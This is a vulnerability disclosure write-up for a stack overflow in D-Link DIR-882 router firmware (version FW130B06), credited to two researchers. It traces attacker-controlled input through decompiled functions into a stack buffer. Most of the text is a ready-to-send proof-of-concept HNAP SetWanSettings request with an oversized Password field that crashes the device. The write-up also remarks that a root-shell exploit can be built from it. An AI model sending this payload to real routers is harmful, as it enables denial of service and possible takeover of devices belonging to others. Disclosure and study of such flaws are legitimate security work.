D-Link
DIR-882
vendor:D-link
product:DIR882
version:DIR882A1_FW130B06.bin
type:Stack Overflow
author:Yifeng Li, Wolin Zhuang;
After that, it is passed into function sub_426D74 as the first parameter as a2.Besides, we notice that local variable v6 is placed on the stack, which is also passed into function sub_426D74 as the second parameter.
In function sub_426D74, the for loop from line 26 to line 32, first copy a1 to v7 then strtol transfer v7 to a2, which briefly, a2 equals hexdecode(a1).Let's start over again, a1, comes from a2 in function decrypt_aes, a variable is controllable to the attacker.And a2 comes from v6 in function decrypt_aes which is placed on the stack, so when we copy a1 to a2 in sub_426D74, we are basically putting v4's value into v6, which leads to a stack overflow vulnerbility .
In order to reproduce the vulnerability, the following steps can be followed:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 1113
Accept: text/xml
HNAP_AUTH: 7171EAE0EE525C795B234E02F40B2502 1669799736779
SOAPACTION: "http://purenetworks.com/HNAP1/SetWanSettings"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Content-Type: text/xml
Origin: http://192.168.0.1
Referer: http://192.168.0.1/Internet.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=echpQBse
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetWanSettings xmlns="http://purenetworks.com/HNAP1/">
<Type>DHCPPPPoE</Type>
<Username>admin</Username>
<Password>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</Password>
<MaxIdleTime>300</MaxIdleTime>
<HostName/>
<VPNIPAddress/>
<VPNSubnetMask/>
<VPNGateway/>
<ServiceName></ServiceName>
<AutoReconnect>false</AutoReconnect>
<IPAddress></IPAddress>
<SubnetMask/>
<Gateway/>
<ConfigDNS>
<Primary></Primary>
<Secondary></Secondary>
</ConfigDNS>
<MacAddress></MacAddress>
<MTU>1492</MTU>
<DsLite_Configuration/>
<DsLite_AFTR_IPv6Address/>
<DsLite_B4IPv4Address/>
</SetWanSettings>
</soap:Body>
</soap:Envelope>
By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to dos circunstance.You can write your own exp to get the root shell.